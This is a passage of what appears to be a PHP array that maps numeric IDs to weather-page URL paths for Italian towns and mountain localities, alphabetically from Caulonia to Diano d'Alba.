\"/meteo/Caulonia\",8673 => \"/meteo/Caulonia+Marina\",1839 => \"/meteo/Cautano\",1840 => \"/meteo/Cava+de'+Tirreni\",1841 => \"/meteo/Cava+manara\",1842 => \"/meteo/Cavacurta\",1843 => \"/meteo/Cavaglia'\",1844 => \"/meteo/Cavaglietto\",1845 => \"/meteo/Cavaglio+d'Agogna\",1846 => \"/meteo/Cavaglio+Spoccia\",1847 => \"/meteo/Cavagnolo\",1848 => \"/meteo/Cavaion+veronese\",1849 => \"/meteo/Cavalese\",1850 => \"/meteo/Cavallasca\",1851 => \"/meteo/Cavallerleone\",1852 => \"/meteo/Cavallermaggiore\",1853 => \"/meteo/Cavallino\",8657 => \"/meteo/Cavallino\",1854 => \"/meteo/Cavallino+treporti\",1855 => \"/meteo/Cavallirio\",1856 => \"/meteo/Cavareno\",1857 => \"/meteo/Cavargna\",1858 => \"/meteo/Cavaria+con+Premezzo\",1859 => \"/meteo/Cavarzere\",1860 => \"/meteo/Cavaso+del+Tomba\",1861 => \"/meteo/Cavasso+nuovo\",1862 => \"/meteo/Cavatore\",1863 => \"/meteo/Cavazzo+carnico\",1864 => \"/meteo/Cave\",1865 => \"/meteo/Cavedago\",1866 => \"/meteo/Cavedine\",1867 => \"/meteo/Cavenago+d'Adda\",1868 => \"/meteo/Cavenago+di+brianza\",1869 => \"/meteo/Cavernago\",1870 => \"/meteo/Cavezzo\",1871 => \"/meteo/Cavizzana\",1872 => \"/meteo/Cavour\",1873 => \"/meteo/Cavriago\",1874 => \"/meteo/Cavriana\",1875 => \"/meteo/Cavriglia\",1876 => \"/meteo/Cazzago+Brabbia\",1877 => \"/meteo/Cazzago+San+Martino\",1878 => \"/meteo/Cazzano+di+Tramigna\",1879 => \"/meteo/Cazzano+Sant'Andrea\",1880 => \"/meteo/Ceccano\",1881 => \"/meteo/Cecima\",1882 => \"/meteo/Cecina\",1883 => \"/meteo/Cedegolo\",1884 => \"/meteo/Cedrasco\",1885 => \"/meteo/Cefala'+Diana\",1886 => \"/meteo/Cefalu'\",1887 => \"/meteo/Ceggia\",1888 => \"/meteo/Ceglie+Messapica\",1889 => \"/meteo/Celano\",1890 => \"/meteo/Celenza+sul+Trigno\",1891 => \"/meteo/Celenza+valfortore\",1892 => \"/meteo/Celico\",1893 => \"/meteo/Cella+dati\",1894 => \"/meteo/Cella+monte\",1895 => \"/meteo/Cellamare\",1896 => \"/meteo/Cellara\",1897 => \"/meteo/Cellarengo\",1898 => \"/meteo/Cellatica\",1899 => \"/meteo/Celle+di+Bulgheria\",1900 => \"/meteo/Celle+di+Macra\",1901 => \"/meteo/Celle+di+San+Vito\",1902 => \"/meteo/Celle+Enomondo\",1903 => \"/meteo/Celle+ligure\",1904 => \"/meteo/Celleno\",1905 => \"/meteo/Cellere\",1906 => \"/meteo/Cellino+Attanasio\",1907 => \"/meteo/Cellino+San+Marco\",1908 => \"/meteo/Cellio\",1909 => \"/meteo/Cellole\",1910 => \"/meteo/Cembra\",1911 => \"/meteo/Cenadi\",1912 => \"/meteo/Cenate+sopra\",1913 => \"/meteo/Cenate+sotto\",1914 => \"/meteo/Cencenighe+Agordino\",1915 => \"/meteo/Cene\",1916 => \"/meteo/Ceneselli\",1917 => \"/meteo/Cengio\",1918 => \"/meteo/Centa+San+Nicolo'\",1919 => \"/meteo/Centallo\",1920 => \"/meteo/Cento\",1921 => \"/meteo/Centola\",1922 => \"/meteo/Centrache\",1923 => \"/meteo/Centuripe\",1924 => \"/meteo/Cepagatti\",1925 => \"/meteo/Ceppaloni\",1926 => \"/meteo/Ceppo+Morelli\",1927 => \"/meteo/Ceprano\",1928 => \"/meteo/Cerami\",1929 => \"/meteo/Ceranesi\",1930 => \"/meteo/Cerano\",1931 => \"/meteo/Cerano+d'intelvi\",1932 => \"/meteo/Ceranova\",1933 => \"/meteo/Ceraso\",1934 => \"/meteo/Cercemaggiore\",1935 => \"/meteo/Cercenasco\",1936 => \"/meteo/Cercepiccola\",1937 => \"/meteo/Cerchiara+di+Calabria\",1938 => \"/meteo/Cerchio\",1939 => \"/meteo/Cercino\",1940 => \"/meteo/Cercivento\",1941 => \"/meteo/Cercola\",1942 => \"/meteo/Cerda\",1943 => \"/meteo/Cerea\",1944 => \"/meteo/Ceregnano\",1945 => \"/meteo/Cerenzia\",1946 => \"/meteo/Ceres\",1947 => \"/meteo/Ceresara\",1948 => \"/meteo/Cereseto\",1949 => \"/meteo/Ceresole+Alba\",1950 => \"/meteo/Ceresole+reale\",1951 => \"/meteo/Cerete\",1952 => \"/meteo/Ceretto+lomellina\",1953 => \"/meteo/Cergnago\",1954 => \"/meteo/Ceriale\",1955 => \"/meteo/Ceriana\",1956 => \"/meteo/Ceriano+Laghetto\",1957 => \"/meteo/Cerignale\",1958 => \"/meteo/Cerignola\",1959 => \"/meteo/Cerisano\",1960 => \"/meteo/Cermenate\",1961 => \"/meteo/Cermes\",1962 => \"/meteo/Cermignano\",1963 => \"/meteo/Cernobbio\",1964 => \"/meteo/Cernusco+lombardone\",1965 => \"/meteo/Cernusco+sul+Naviglio\",1966 => \"/meteo/Cerreto+Castello\",1967 => \"/meteo/Cerreto+d'Asti\",1968 => \"/meteo/Cerreto+d'Esi\",1969 => \"/meteo/Cerreto+di+Spoleto\",1970 => \"/meteo/Cerreto+Grue\",1971 => \"/meteo/Cerreto+Guidi\",1972 => \"/meteo/Cerreto+langhe\",1973 => \"/meteo/Cerreto+laziale\",1974 => \"/meteo/Cerreto+sannita\",1975 => \"/meteo/Cerrina+monferrato\",1976 => \"/meteo/Cerrione\",1977 => \"/meteo/Cerro+al+Lambro\",1978 => \"/meteo/Cerro+al+Volturno\",1979 => \"/meteo/Cerro+maggiore\",1980 => \"/meteo/Cerro+Tanaro\",1981 => \"/meteo/Cerro+veronese\",8396 => \"/meteo/Cersosimo\",1983 => \"/meteo/Certaldo\",1984 => \"/meteo/Certosa+di+Pavia\",1985 => \"/meteo/Cerva\",1986 => \"/meteo/Cervara+di+Roma\",1987 => \"/meteo/Cervarese+Santa+Croce\",1988 => \"/meteo/Cervaro\",1989 => \"/meteo/Cervasca\",1990 => \"/meteo/Cervatto\",1991 => \"/meteo/Cerveno\",1992 => \"/meteo/Cervere\",1993 => \"/meteo/Cervesina\",1994 => \"/meteo/Cerveteri\",1995 => \"/meteo/Cervia\",1996 => \"/meteo/Cervicati\",1997 => \"/meteo/Cervignano+d'Adda\",1998 => \"/meteo/Cervignano+del+Friuli\",1999 => \"/meteo/Cervinara\",2000 => \"/meteo/Cervino\",2001 => \"/meteo/Cervo\",2002 => \"/meteo/Cerzeto\",2003 => \"/meteo/Cesa\",2004 => \"/meteo/Cesana+brianza\",2005 => \"/meteo/Cesana+torinese\",2006 => \"/meteo/Cesano+Boscone\",2007 => \"/meteo/Cesano+Maderno\",2008 => \"/meteo/Cesara\",2009 => \"/meteo/Cesaro'\",2010 => \"/meteo/Cesate\",2011 => \"/meteo/Cesena\",2012 => \"/meteo/Cesenatico\",2013 => \"/meteo/Cesinali\",2014 => \"/meteo/Cesio\",2015 => \"/meteo/Cesiomaggiore\",2016 => \"/meteo/Cessalto\",2017 => \"/meteo/Cessaniti\",2018 => \"/meteo/Cessapalombo\",2019 => \"/meteo/Cessole\",2020 => \"/meteo/Cetara\",2021 => \"/meteo/Ceto\",2022 => \"/meteo/Cetona\",2023 => \"/meteo/Cetraro\",2024 => \"/meteo/Ceva\",8721 => \"/meteo/Cevedale\",2025 => \"/meteo/Cevo\",2026 => \"/meteo/Challand+Saint+Anselme\",2027 => \"/meteo/Challand+Saint+Victor\",2028 => \"/meteo/Chambave\",2029 => \"/meteo/Chamois\",8255 => \"/meteo/Chamole`\",2030 => \"/meteo/Champdepraz\",8225 => \"/meteo/Champoluc\",2031 => \"/meteo/Champorcher\",8331 => \"/meteo/Champorcher+Cimetta+Rossa\",8330 => \"/meteo/Champorcher+Laris\",2032 => \"/meteo/Charvensod\",2033 => \"/meteo/Chatillon\",2034 => \"/meteo/Cherasco\",2035 => \"/meteo/Cheremule\",8668 => \"/meteo/Chesal\",2036 => \"/meteo/Chialamberto\",2037 => \"/meteo/Chiampo\",2038 => \"/meteo/Chianche\",2039 => \"/meteo/Chianciano+terme\",2040 => \"/meteo/Chianni\",2041 => \"/meteo/Chianocco\",2042 => \"/meteo/Chiaramonte+Gulfi\",2043 => \"/meteo/Chiaramonti\",2044 => \"/meteo/Chiarano\",2045 => \"/meteo/Chiaravalle\",2046 => \"/meteo/Chiaravalle+centrale\",8151 => \"/meteo/Chiareggio\",2047 => \"/meteo/Chiari\",2048 => \"/meteo/Chiaromonte\",8432 => \"/meteo/Chiasso\",2049 => \"/meteo/Chiauci\",2050 => \"/meteo/Chiavari\",2051 => \"/meteo/Chiavenna\",2052 => \"/meteo/Chiaverano\",2053 => \"/meteo/Chienes\",2054 => \"/meteo/Chieri\",2055 => \"/meteo/Chies+d'Alpago\",2056 => \"/meteo/Chiesa+in+valmalenco\",2057 => \"/meteo/Chiesanuova\",2058 => \"/meteo/Chiesina+uzzanese\",2059 => \"/meteo/Chieti\",8319 => \"/meteo/Chieti+Scalo\",2060 => \"/meteo/Chieuti\",2061 => \"/meteo/Chieve\",2062 => \"/meteo/Chignolo+d'Isola\",2063 => \"/meteo/Chignolo+Po\",2064 => \"/meteo/Chioggia\",2065 => \"/meteo/Chiomonte\",2066 => \"/meteo/Chions\",2067 => \"/meteo/Chiopris+Viscone\",2068 => \"/meteo/Chitignano\",2069 => \"/meteo/Chiuduno\",2070 => \"/meteo/Chiuppano\",2071 => \"/meteo/Chiuro\",2072 => \"/meteo/Chiusa\",2073 => \"/meteo/Chiusa+di+Pesio\",2074 => \"/meteo/Chiusa+di+San+Michele\",2075 => \"/meteo/Chiusa+Sclafani\",2076 => \"/meteo/Chiusaforte\",2077 => \"/meteo/Chiusanico\",2078 => \"/meteo/Chiusano+d'Asti\",2079 => \"/meteo/Chiusano+di+San+Domenico\",2080 => \"/meteo/Chiusavecchia\",2081 => \"/meteo/Chiusdino\",2082 => \"/meteo/Chiusi\",2083 => \"/meteo/Chiusi+della+Verna\",2084 => \"/meteo/Chivasso\",8515 => \"/meteo/Ciampac+Alba\",2085 => \"/meteo/Ciampino\",2086 => \"/meteo/Cianciana\",2087 => \"/meteo/Cibiana+di+cadore\",2088 => \"/meteo/Cicagna\",2089 => \"/meteo/Cicala\",2090 => \"/meteo/Cicciano\",2091 => \"/meteo/Cicerale\",2092 => \"/meteo/Ciciliano\",2093 => \"/meteo/Cicognolo\",2094 => \"/meteo/Ciconio\",2095 => \"/meteo/Cigliano\",2096 => \"/meteo/Ciglie'\",2097 => \"/meteo/Cigognola\",2098 => \"/meteo/Cigole\",2099 => \"/meteo/Cilavegna\",8340 => \"/meteo/Cima+Durand\",8590 => \"/meteo/Cima+Pisciadu'\",8764 => \"/meteo/Cima+Plose\",8703 => \"/meteo/Cima+Portavescovo\",8282 => \"/meteo/Cima+Sole\",2100 => \"/meteo/Cimadolmo\",2101 => \"/meteo/Cimbergo\",8332 => \"/meteo/Cime+Bianche\",2102 => \"/meteo/Cimego\",2103 => \"/meteo/Cimina'\",2104 => \"/meteo/Ciminna\",2105 => \"/meteo/Cimitile\",2106 => \"/meteo/Cimolais\",8433 => \"/meteo/Cimoncino\",2107 => \"/meteo/Cimone\",2108 => \"/meteo/Cinaglio\",2109 => \"/meteo/Cineto+romano\",2110 => \"/meteo/Cingia+de'+Botti\",2111 => \"/meteo/Cingoli\",2112 => \"/meteo/Cinigiano\",2113 => \"/meteo/Cinisello+Balsamo\",2114 => \"/meteo/Cinisi\",2115 => \"/meteo/Cino\",2116 => \"/meteo/Cinquefrondi\",2117 => \"/meteo/Cintano\",2118 => \"/meteo/Cinte+tesino\",2119 => \"/meteo/Cinto+Caomaggiore\",2120 => \"/meteo/Cinto+Euganeo\",2121 => \"/meteo/Cinzano\",2122 => \"/meteo/Ciorlano\",2123 => \"/meteo/Cipressa\",2124 => \"/meteo/Circello\",2125 => \"/meteo/Cirie'\",2126 => \"/meteo/Cirigliano\",2127 => \"/meteo/Cirimido\",2128 => \"/meteo/Ciro'\",2129 => \"/meteo/Ciro'+marina\",2130 => \"/meteo/Cis\",2131 => \"/meteo/Cisano+bergamasco\",2132 => \"/meteo/Cisano+sul+Neva\",2133 => \"/meteo/Ciserano\",2134 => \"/meteo/Cislago\",2135 => \"/meteo/Cisliano\",2136 => \"/meteo/Cismon+del+Grappa\",2137 => \"/meteo/Cison+di+valmarino\",2138 => \"/meteo/Cissone\",2139 => \"/meteo/Cisterna+d'Asti\",2140 => \"/meteo/Cisterna+di+Latina\",2141 => \"/meteo/Cisternino\",2142 => \"/meteo/Citerna\",8142 => \"/meteo/Città+del+Vaticano\",2143 => \"/meteo/Citta'+della+Pieve\",2144 => \"/meteo/Citta'+di+Castello\",2145 => \"/meteo/Citta'+Sant'Angelo\",2146 => \"/meteo/Cittadella\",2147 => \"/meteo/Cittaducale\",2148 => \"/meteo/Cittanova\",2149 => \"/meteo/Cittareale\",2150 => \"/meteo/Cittiglio\",2151 => \"/meteo/Civate\",2152 => \"/meteo/Civenna\",2153 => \"/meteo/Civezza\",2154 => \"/meteo/Civezzano\",2155 => \"/meteo/Civiasco\",2156 => \"/meteo/Cividale+del+Friuli\",2157 => \"/meteo/Cividate+al+piano\",2158 => \"/meteo/Cividate+camuno\",2159 => \"/meteo/Civita\",2160 => \"/meteo/Civita+Castellana\",2161 => \"/meteo/Civita+d'Antino\",2162 => \"/meteo/Civitacampomarano\",2163 => \"/meteo/Civitaluparella\",2164 => \"/meteo/Civitanova+del+sannio\",2165 => \"/meteo/Civitanova+Marche\",8356 => \"/meteo/Civitaquana\",2167 => \"/meteo/Civitavecchia\",2168 => \"/meteo/Civitella+Alfedena\",2169 => \"/meteo/Civitella+Casanova\",2170 => \"/meteo/Civitella+d'Agliano\",2171 => \"/meteo/Civitella+del+Tronto\",2172 => \"/meteo/Civitella+di+Romagna\",2173 => \"/meteo/Civitella+in+val+di+Chiana\",2174 => \"/meteo/Civitella+Messer+Raimondo\",2175 => \"/meteo/Civitella+Paganico\",2176 => \"/meteo/Civitella+Roveto\",2177 => \"/meteo/Civitella+San+Paolo\",2178 => \"/meteo/Civo\",2179 => \"/meteo/Claino+con+osteno\",2180 => \"/meteo/Claut\",2181 => \"/meteo/Clauzetto\",2182 => \"/meteo/Clavesana\",2183 => \"/meteo/Claviere\",2184 => \"/meteo/Cles\",2185 => \"/meteo/Cleto\",2186 => \"/meteo/Clivio\",2187 => \"/meteo/Cloz\",2188 => \"/meteo/Clusone\",2189 => \"/meteo/Coassolo+torinese\",2190 => \"/meteo/Coazze\",2191 => \"/meteo/Coazzolo\",2192 => \"/meteo/Coccaglio\",2193 => \"/meteo/Cocconato\",2194 => \"/meteo/Cocquio+Trevisago\",2195 => \"/meteo/Cocullo\",2196 => \"/meteo/Codevigo\",2197 => \"/meteo/Codevilla\",2198 => \"/meteo/Codigoro\",2199 => \"/meteo/Codogne'\",2200 => \"/meteo/Codogno\",2201 => \"/meteo/Codroipo\",2202 => \"/meteo/Codrongianos\",2203 => \"/meteo/Coggiola\",2204 => \"/meteo/Cogliate\",2205 => \"/meteo/Cogne\",8654 => \"/meteo/Cogne+Lillaz\",2206 => \"/meteo/Cogoleto\",2207 => \"/meteo/Cogollo+del+Cengio\",5049 => \"/meteo/Cogolo\",2208 => \"/meteo/Cogorno\",8354 => \"/meteo/Col+de+Joux\",8604 => \"/meteo/Col+Indes\",2209 => \"/meteo/Colazza\",2210 => \"/meteo/Colbordolo\",2211 => \"/meteo/Colere\",2212 => \"/meteo/Colfelice\",8217 => \"/meteo/Colfiorito\",8761 => \"/meteo/Colfosco\",2213 => \"/meteo/Coli\",2214 => \"/meteo/Colico\",2215 => \"/meteo/Collagna\",2216 => \"/meteo/Collalto+sabino\",2217 => \"/meteo/Collarmele\",2218 => \"/meteo/Collazzone\",8249 => \"/meteo/Colle+Bettaforca\",2219 => \"/meteo/Colle+Brianza\",2220 => \"/meteo/Colle+d'Anchise\",8687 => \"/meteo/Colle+del+Gran+San+Bernardo\",8688 => \"/meteo/Colle+del+Moncenisio\",8686 => \"/meteo/Colle+del+Piccolo+San+Bernardo\",8481 => \"/meteo/Colle+del+Prel\",2221 => \"/meteo/Colle+di+Tora\",2222 => \"/meteo/Colle+di+val+d'Elsa\",2223 => \"/meteo/Colle+San+Magno\",2224 => \"/meteo/Colle+sannita\",2225 => \"/meteo/Colle+Santa+Lucia\",8246 => \"/meteo/Colle+Sarezza\",2226 => \"/meteo/Colle+Umberto\",2227 => \"/meteo/Collebeato\",2228 => \"/meteo/Collecchio\",2229 => \"/meteo/Collecorvino\",2230 => \"/meteo/Colledara\",8453 => \"/meteo/Colledara+casello\",2231 => \"/meteo/Colledimacine\",2232 => \"/meteo/Colledimezzo\",2233 => \"/meteo/Colleferro\",2234 => \"/meteo/Collegiove\",2235 => \"/meteo/Collegno\",2236 => \"/meteo/Collelongo\",2237 => \"/meteo/Collepardo\",2238 => \"/meteo/Collepasso\",2239 => \"/meteo/Collepietro\",2240 => \"/meteo/Colleretto+castelnuovo\",2241 => \"/meteo/Colleretto+Giacosa\",2242 => \"/meteo/Collesalvetti\",2243 => \"/meteo/Collesano\",2244 => \"/meteo/Colletorto\",2245 => \"/meteo/Collevecchio\",2246 => \"/meteo/Colli+a+volturno\",2247 => \"/meteo/Colli+del+Tronto\",2248 => \"/meteo/Colli+sul+Velino\",2249 => \"/meteo/Colliano\",2250 => \"/meteo/Collinas\",2251 => \"/meteo/Collio\",2252 => \"/meteo/Collobiano\",2253 => \"/meteo/Colloredo+di+monte+Albano\",2254 => \"/meteo/Colmurano\",2255 => \"/meteo/Colobraro\",2256 => \"/meteo/Cologna+veneta\",2257 => \"/meteo/Cologne\",2258 => \"/meteo/Cologno+al+Serio\",2259 => \"/meteo/Cologno+monzese\",2260 => \"/meteo/Colognola+ai+Colli\",2261 => \"/meteo/Colonna\",2262 => \"/meteo/Colonnella\",2263 => \"/meteo/Colonno\",2264 => \"/meteo/Colorina\",2265 => \"/meteo/Colorno\",2266 => \"/meteo/Colosimi\",2267 => \"/meteo/Colturano\",2268 => \"/meteo/Colzate\",2269 => \"/meteo/Comabbio\",2270 => \"/meteo/Comacchio\",2271 => \"/meteo/Comano\",2272 => \"/meteo/Comazzo\",2273 => \"/meteo/Comeglians\",2274 => \"/meteo/Comelico+superiore\",2275 => \"/meteo/Comerio\",2276 => \"/meteo/Comezzano+Cizzago\",2277 => \"/meteo/Comignago\",2278 => \"/meteo/Comiso\",2279 => \"/meteo/Comitini\",2280 => \"/meteo/Comiziano\",2281 => \"/meteo/Commessaggio\",2282 => \"/meteo/Commezzadura\",2283 => \"/meteo/Como\",2284 => \"/meteo/Compiano\",8711 => \"/meteo/Comprensorio+Cimone\",2285 => \"/meteo/Comun+nuovo\",2286 => \"/meteo/Comunanza\",2287 => \"/meteo/Cona\",2288 => \"/meteo/Conca+Casale\",2289 => \"/meteo/Conca+dei+Marini\",2290 => \"/meteo/Conca+della+Campania\",2291 => \"/meteo/Concamarise\",2292 => \"/meteo/Concei\",2293 => \"/meteo/Concerviano\",2294 => \"/meteo/Concesio\",2295 => \"/meteo/Conco\",2296 => \"/meteo/Concordia+Sagittaria\",2297 => \"/meteo/Concordia+sulla+Secchia\",2298 => \"/meteo/Concorezzo\",2299 => \"/meteo/Condino\",2300 => \"/meteo/Condofuri\",8689 => \"/meteo/Condofuri+Marina\",2301 => \"/meteo/Condove\",2302 => \"/meteo/Condro'\",2303 => \"/meteo/Conegliano\",2304 => \"/meteo/Confienza\",2305 => \"/meteo/Configni\",2306 => \"/meteo/Conflenti\",2307 => \"/meteo/Coniolo\",2308 => \"/meteo/Conselice\",2309 => \"/meteo/Conselve\",2310 => \"/meteo/Consiglio+di+Rumo\",2311 => \"/meteo/Contessa+Entellina\",2312 => \"/meteo/Contigliano\",2313 => \"/meteo/Contrada\",2314 => \"/meteo/Controguerra\",2315 => \"/meteo/Controne\",2316 => \"/meteo/Contursi+terme\",2317 => \"/meteo/Conversano\",2318 => \"/meteo/Conza+della+Campania\",2319 => \"/meteo/Conzano\",2320 => \"/meteo/Copertino\",2321 => \"/meteo/Copiano\",2322 => \"/meteo/Copparo\",2323 => \"/meteo/Corana\",2324 => \"/meteo/Corato\",2325 => \"/meteo/Corbara\",2326 => \"/meteo/Corbetta\",2327 => \"/meteo/Corbola\",2328 => \"/meteo/Corchiano\",2329 => \"/meteo/Corciano\",2330 => \"/meteo/Cordenons\",2331 => \"/meteo/Cordignano\",2332 => \"/meteo/Cordovado\",2333 => \"/meteo/Coredo\",2334 => \"/meteo/Coreglia+Antelminelli\",2335 => \"/meteo/Coreglia+ligure\",2336 => \"/meteo/Coreno+Ausonio\",2337 => \"/meteo/Corfinio\",2338 => \"/meteo/Cori\",2339 => \"/meteo/Coriano\",2340 => \"/meteo/Corigliano+calabro\",8110 => \"/meteo/Corigliano+Calabro+Marina\",2341 => \"/meteo/Corigliano+d'Otranto\",2342 => \"/meteo/Corinaldo\",2343 => \"/meteo/Corio\",2344 => \"/meteo/Corleone\",2345 => \"/meteo/Corleto+monforte\",2346 => \"/meteo/Corleto+Perticara\",2347 => \"/meteo/Cormano\",2348 => \"/meteo/Cormons\",2349 => \"/meteo/Corna+imagna\",2350 => \"/meteo/Cornalba\",2351 => \"/meteo/Cornale\",2352 => \"/meteo/Cornaredo\",2353 => \"/meteo/Cornate+d'Adda\",2354 => \"/meteo/Cornedo+all'Isarco\",2355 => \"/meteo/Cornedo+vicentino\",2356 => \"/meteo/Cornegliano+laudense\",2357 => \"/meteo/Corneliano+d'Alba\",2358 => \"/meteo/Corniglio\",8537 => \"/meteo/Corno+alle+Scale\",8353 => \"/meteo/Corno+del+Renon\",2359 => \"/meteo/Corno+di+Rosazzo\",2360 => \"/meteo/Corno+Giovine\",2361 => \"/meteo/Cornovecchio\",2362 => \"/meteo/Cornuda\",2363 => \"/meteo/Correggio\",2364 => \"/meteo/Correzzana\",2365 => \"/meteo/Correzzola\",2366 => \"/meteo/Corrido\",2367 => \"/meteo/Corridonia\",2368 => \"/meteo/Corropoli\",2369 => \"/meteo/Corsano\",2370 => \"/meteo/Corsico\",2371 => \"/meteo/Corsione\",2372 => \"/meteo/Cortaccia+sulla+strada+del+vino\",2373 => \"/meteo/Cortale\",2374 => \"/meteo/Cortandone\",2375 => \"/meteo/Cortanze\",2376 => \"/meteo/Cortazzone\",2377 => \"/meteo/Corte+brugnatella\",2378 => \"/meteo/Corte+de'+Cortesi+con+Cignone\",2379 => \"/meteo/Corte+de'+Frati\",2380 => \"/meteo/Corte+Franca\",2381 => \"/meteo/Corte+Palasio\",2382 => \"/meteo/Cortemaggiore\",2383 => \"/meteo/Cortemilia\",2384 => \"/meteo/Corteno+Golgi\",2385 => \"/meteo/Cortenova\",2386 => \"/meteo/Cortenuova\",2387 => \"/meteo/Corteolona\",2388 => \"/meteo/Cortiglione\",2389 => \"/meteo/Cortina+d'Ampezzo\",2390 => \"/meteo/Cortina+sulla+strada+del+vino\",2391 => \"/meteo/Cortino\",2392 => \"/meteo/Cortona\",2393 => \"/meteo/Corvara\",2394 => \"/meteo/Corvara+in+Badia\",2395 => \"/meteo/Corvino+san+Quirico\",2396 => \"/meteo/Corzano\",2397 => \"/meteo/Coseano\",2398 => \"/meteo/Cosenza\",2399 => \"/meteo/Cosio+di+Arroscia\",2400 => \"/meteo/Cosio+valtellino\",2401 => \"/meteo/Cosoleto\",2402 => \"/meteo/Cossano+belbo\",2403 => \"/meteo/Cossano+canavese\",2404 => \"/meteo/Cossato\",2405 => \"/meteo/Cosseria\",2406 => \"/meteo/Cossignano\",2407 => \"/meteo/Cossogno\",2408 => \"/meteo/Cossoine\",2409 => \"/meteo/Cossombrato\",2410 => \"/meteo/Costa+de'+Nobili\",2411 => \"/meteo/Costa+di+Mezzate\",2412 => \"/meteo/Costa+di+Rovigo\",2413 => \"/meteo/Costa+di+serina\",2414 => \"/meteo/Costa+masnaga\",8177 => \"/meteo/Costa+Rei\",2415 => \"/meteo/Costa+valle+imagna\",2416 => \"/meteo/Costa+Vescovato\",2417 => \"/meteo/Costa+Volpino\",2418 => \"/meteo/Costabissara\",2419 => \"/meteo/Costacciaro\",2420 => \"/meteo/Costanzana\",2421 => \"/meteo/Costarainera\",2422 => \"/meteo/Costermano\",2423 => \"/meteo/Costigliole+d'Asti\",2424 => \"/meteo/Costigliole+Saluzzo\",2425 => \"/meteo/Cotignola\",2426 => \"/meteo/Cotronei\",2427 => \"/meteo/Cottanello\",8256 => \"/meteo/Couis+2\",2428 => \"/meteo/Courmayeur\",2429 => \"/meteo/Covo\",2430 => \"/meteo/Cozzo\",8382 => \"/meteo/Craco\",2432 => \"/meteo/Crandola+valsassina\",2433 => \"/meteo/Cravagliana\",2434 => \"/meteo/Cravanzana\",2435 => \"/meteo/Craveggia\",2436 => \"/meteo/Creazzo\",2437 => \"/meteo/Crecchio\",2438 => \"/meteo/Credaro\",2439 => \"/meteo/Credera+Rubbiano\",2440 => \"/meteo/Crema\",2441 => \"/meteo/Cremella\",2442 => \"/meteo/Cremenaga\",2443 => \"/meteo/Cremeno\",2444 => \"/meteo/Cremia\",2445 => \"/meteo/Cremolino\",2446 => \"/meteo/Cremona\",2447 => \"/meteo/Cremosano\",2448 => \"/meteo/Crescentino\",2449 => \"/meteo/Crespadoro\",2450 => \"/meteo/Crespano+del+Grappa\",2451 => \"/meteo/Crespellano\",2452 => \"/meteo/Crespiatica\",2453 => \"/meteo/Crespina\",2454 => \"/meteo/Crespino\",2455 => \"/meteo/Cressa\",8247 => \"/meteo/Crest\",8741 => \"/meteo/Cresta+Youla\",8646 => \"/meteo/Crevacol\",2456 => \"/meteo/Crevacuore\",2457 => \"/meteo/Crevalcore\",2458 => \"/meteo/Crevoladossola\",2459 => \"/meteo/Crispano\",2460 => \"/meteo/Crispiano\",2461 => \"/meteo/Crissolo\",8355 => \"/meteo/Crissolo+Pian+delle+Regine\",2462 => \"/meteo/Crocefieschi\",2463 => \"/meteo/Crocetta+del+Montello\",2464 => \"/meteo/Crodo\",2465 => \"/meteo/Crognaleto\",2466 => \"/meteo/Cropalati\",2467 => \"/meteo/Cropani\",2468 => \"/meteo/Crosa\",2469 => \"/meteo/Crosia\",2470 => \"/meteo/Crosio+della+valle\",2471 => \"/meteo/Crotone\",8552 => \"/meteo/Crotone+Sant'Anna\",2472 => \"/meteo/Crotta+d'Adda\",2473 => \"/meteo/Crova\",2474 => \"/meteo/Croviana\",2475 => \"/meteo/Crucoli\",2476 => \"/meteo/Cuasso+al+monte\",2477 => \"/meteo/Cuccaro+monferrato\",2478 => \"/meteo/Cuccaro+Vetere\",2479 => \"/meteo/Cucciago\",2480 => \"/meteo/Cuceglio\",2481 => \"/meteo/Cuggiono\",2482 => \"/meteo/Cugliate-fabiasco\",2483 => \"/meteo/Cuglieri\",2484 => \"/meteo/Cugnoli\",8718 => \"/meteo/Cuma\",2485 => \"/meteo/Cumiana\",2486 => \"/meteo/Cumignano+sul+Naviglio\",2487 => \"/meteo/Cunardo\",2488 => \"/meteo/Cuneo\",8553 => \"/meteo/Cuneo+Levaldigi\",2489 => \"/meteo/Cunevo\",2490 => \"/meteo/Cunico\",2491 => \"/meteo/Cuorgne'\",2492 => \"/meteo/Cupello\",2493 => \"/meteo/Cupra+marittima\",2494 => \"/meteo/Cupramontana\",2495 => \"/meteo/Cura+carpignano\",2496 => \"/meteo/Curcuris\",2497 => \"/meteo/Cureggio\",2498 => \"/meteo/Curiglia+con+Monteviasco\",2499 => \"/meteo/Curinga\",2500 => \"/meteo/Curino\",2501 => \"/meteo/Curno\",2502 => \"/meteo/Curon+Venosta\",2503 => \"/meteo/Cursi\",2504 => \"/meteo/Cursolo+orasso\",2505 => \"/meteo/Curtarolo\",2506 => \"/meteo/Curtatone\",2507 => \"/meteo/Curti\",2508 => \"/meteo/Cusago\",2509 => \"/meteo/Cusano+milanino\",2510 => \"/meteo/Cusano+Mutri\",2511 => \"/meteo/Cusino\",2512 => \"/meteo/Cusio\",2513 => \"/meteo/Custonaci\",2514 => \"/meteo/Cutigliano\",2515 => \"/meteo/Cutro\",2516 => \"/meteo/Cutrofiano\",2517 => \"/meteo/Cuveglio\",2518 => \"/meteo/Cuvio\",2519 => \"/meteo/Daiano\",2520 => \"/meteo/Dairago\",2521 => \"/meteo/Dalmine\",2522 => \"/meteo/Dambel\",2523 => \"/meteo/Danta+di+cadore\",2524 => \"/meteo/Daone\",2525 => \"/meteo/Dare'\",2526 => \"/meteo/Darfo+Boario+terme\",2527 => \"/meteo/Dasa'\",2528 => \"/meteo/Davagna\",2529 => \"/meteo/Daverio\",2530 => \"/meteo/Davoli\",2531 => \"/meteo/Dazio\",2532 => \"/meteo/Decimomannu\",2533 => \"/meteo/Decimoputzu\",2534 => \"/meteo/Decollatura\",2535 => \"/meteo/Dego\",2536 => \"/meteo/Deiva+marina\",2537 => \"/meteo/Delebio\",2538 => \"/meteo/Delia\",2539 => \"/meteo/Delianuova\",2540 => \"/meteo/Deliceto\",2541 => \"/meteo/Dello\",2542 => \"/meteo/Demonte\",2543 => \"/meteo/Denice\",2544 => \"/meteo/Denno\",2545 => \"/meteo/Dernice\",2546 => \"/meteo/Derovere\",2547 => \"/meteo/Deruta\",2548 => \"/meteo/Dervio\",2549 => \"/meteo/Desana\",2550 => \"/meteo/Desenzano+del+Garda\",2551 => \"/meteo/Desio\",2552 => \"/meteo/Desulo\",2553 => \"/meteo/Diamante\",2554 => \"/meteo/Diano+arentino\",2555 => \"/meteo/Diano+castello\",2556 => \"/meteo/Diano+d'Alba\",2557 => 